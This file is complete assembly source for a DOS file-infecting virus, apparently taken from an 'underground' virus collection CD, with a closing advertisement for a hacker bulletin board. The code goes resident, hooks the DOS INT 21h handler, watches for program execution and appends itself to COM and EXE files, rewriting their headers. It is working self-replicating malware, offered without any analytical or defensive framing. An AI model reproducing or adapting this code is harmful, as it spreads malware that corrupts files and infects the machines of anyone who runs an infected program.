Underground/Underground CD1.iso/virii/zrodla/s/smal.asm

Assembly Source File | 1998-01-14 | 3.8 KB | 231 lines

virus segment public 'code'
    assume    cs:virus,ds:virus,es:virus
    org    0

VirusSize    equ    VirusEnd-$

Com:    call    Begin
    call    Label2

PartPage    equ    this word+02h
PageCount    equ    this word+04h
HdrSize        equ    this word+08h
MinMem        equ    this word+0ah
MaxMem        equ    this word+0ch
ExeSS        equ    this word+0eh
ExeSP        equ    this word+10h
ExeSignature    equ    this word+12h
ExeStart    equ    this dword+14h
ExeIP        equ    this word+14h
ExeCS        equ    this word+16h

SavedCode:
    mov    ax,4c00h
    int    21h

    org    SavedCode+18h

Label2:    pop    si
    mov    di,100h
    push    di
    movsw
    movsw
    movsb
    ret

Exe:    call    Begin
    mov    dx,ds
    add    dx,10h
    add    cs:ExeCS,dx
    add    dx,cs:ExeSS
    mov    ss,dx
    mov    sp,cs:ExeSP
    jmp    cs:ExeStart

Begin:    push    ds
    push    es
    push    ax
    xor    ax,ax
    mov    ds,ax
    mov    ds,ds:[46ah]
    cmp    Signature,0ACDCh
    je    Exit
    mov    ah,4ah
    mov    bx,-1
    int    21h
    sub    bx,(VirusSize+1fh)/10h+1000h
    jb    Exit
    add    bh,10h
    mov    ah,4ah
    int    21h
    mov    ah,48h
    mov    bx,(VirusSize+0fh)/10h
    int    21h
    jb    Exit
    dec    ax
    mov    es,ax
    inc    ax
    mov    es:[1],ax
    mov    es,ax
    push    cs
    pop    ds
    call    Label1
Label1:    pop    si
    sub    si,offset Label1
    xor    di,di
    push    di
    mov    cx,VirusSize
    rep    movsb
    pop    ds
    mov    ax,ds:[84h]
    mov    word ptr es:OldInt21[0],ax
    mov    ax,ds:[86h]
    mov    word ptr es:OldInt21[2],ax
    mov    byte ptr ds:[467h],0eah
    mov    word ptr ds:[468h],offset NewInt21
    mov    ds:[46ah],es
    mov    word ptr ds:[84h],7
    mov    word ptr ds:[86h],46h
Exit:    pop    ax
    pop    ds
    pop    es
    ret

Header        db    0e9h
        dw    0
Signature    dw    0ACDCh

NewInt21:
    cmp    ah,4bh
    je    Exec
    jmp    short EOI
Exec:    push    ax
    push    bx
    push    cx
    push    dx
    push    ds
    mov    ax,3d02h
    call    Interrupt
        jc      short Error
    push    cs
    pop    ds
    mov    bx,ax
    mov    ah,3fh
    mov    cx,18h
    mov    dx,offset SavedCode
    call    DOS
    cmp    word ptr cs:SavedCode,5a4dh
    je    ExeFile
ComFile:cmp    word ptr cs:SavedCode[3],0ACDCh
        je      short Close
    mov    al,02h
    call    Seek
    or    dx,dx
;       jmp     short Close
    cmp    ah,0f6h
        je      short Close
    sub    ax,5
;       jmp     short Close
    inc    ax
    inc    ax
    mov    word ptr ds:Header[1],ax
    mov    ah,40h
    mov    cx,VirusSize
    xor    dx,dx
    call    DOS
    mov    al,00h
    call    Seek
    mov    ah,40h
    mov    cx,5
    mov    dx,offset Header
    call    Interrupt
Close:    mov    ah,3eh
    call    Interrupt
Error:    pop    ds
    pop    dx
    pop    cx
    pop    bx
    pop    ax

EOI:        db    0eah        ; jmp    0:0
OldInt21    dd    026b1465h

ExeFile:cmp    ExeSignature,0ACDCh
        je      short Close
    mov    al,02h
    call    Seek
    add    ax,0fh
    adc    dx,0
    and    al,0f0h
    xchg    ax,dx
    mov    cx,ax
    mov    ax,4200h
    call    DOS
    mov    cx,10h
    div    cx
    or    dx,dx
    jne    Close
    mov    dx,ax
    sub    dx,HdrSize
    push    dx
    mov    cx,10h
    mul    cx
    add    ax,VirusSize
    adc    dx,0
    mov    cx,200h
    div    cx
    inc    ax
    push    ax
    push    dx
    mov    ah,40h
    mov    cx,VirusSize
    xor    dx,dx
    call    Interrupt
    pop    PartPage
    pop    PageCount
    pop    ax
    jc    Close
    mov    ExeCS,ax
    mov    ExeIP,offset Exe
    add    ax,(VirusSize+0fh)/10h
    mov    ExeSS,ax
    mov    ExeSP,200h
    cmp    MinMem,20h
    jae    Mem1
    mov    MinMem,20h
Mem1:    cmp    MaxMem,20h
    jae    Mem2
    mov    MaxMem,20h
Mem2:    mov    al,00
    call    Seek
    mov    ah,40h
    mov    cx,18h
    mov    dx,offset SavedCode
    call    Interrupt
    jmp    Close

Seek:    mov    ah,42h
    xor    cx,cx
    xor    dx,dx

DOS:    call    Interrupt
    jnc    Ok
    pop    ax
    jmp    Close

Interrupt:
    pushf
    call    cs:OldInt21
Ok:    ret

VirusEnd    equ    $

virus ends

end

;  ─────────────────────────────────────────────────────────────────────────
;  ────────────────────> and Remember Don't Forget to Call <────────────────
;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
;  ─────────────────────────────────────────────────────────────────────────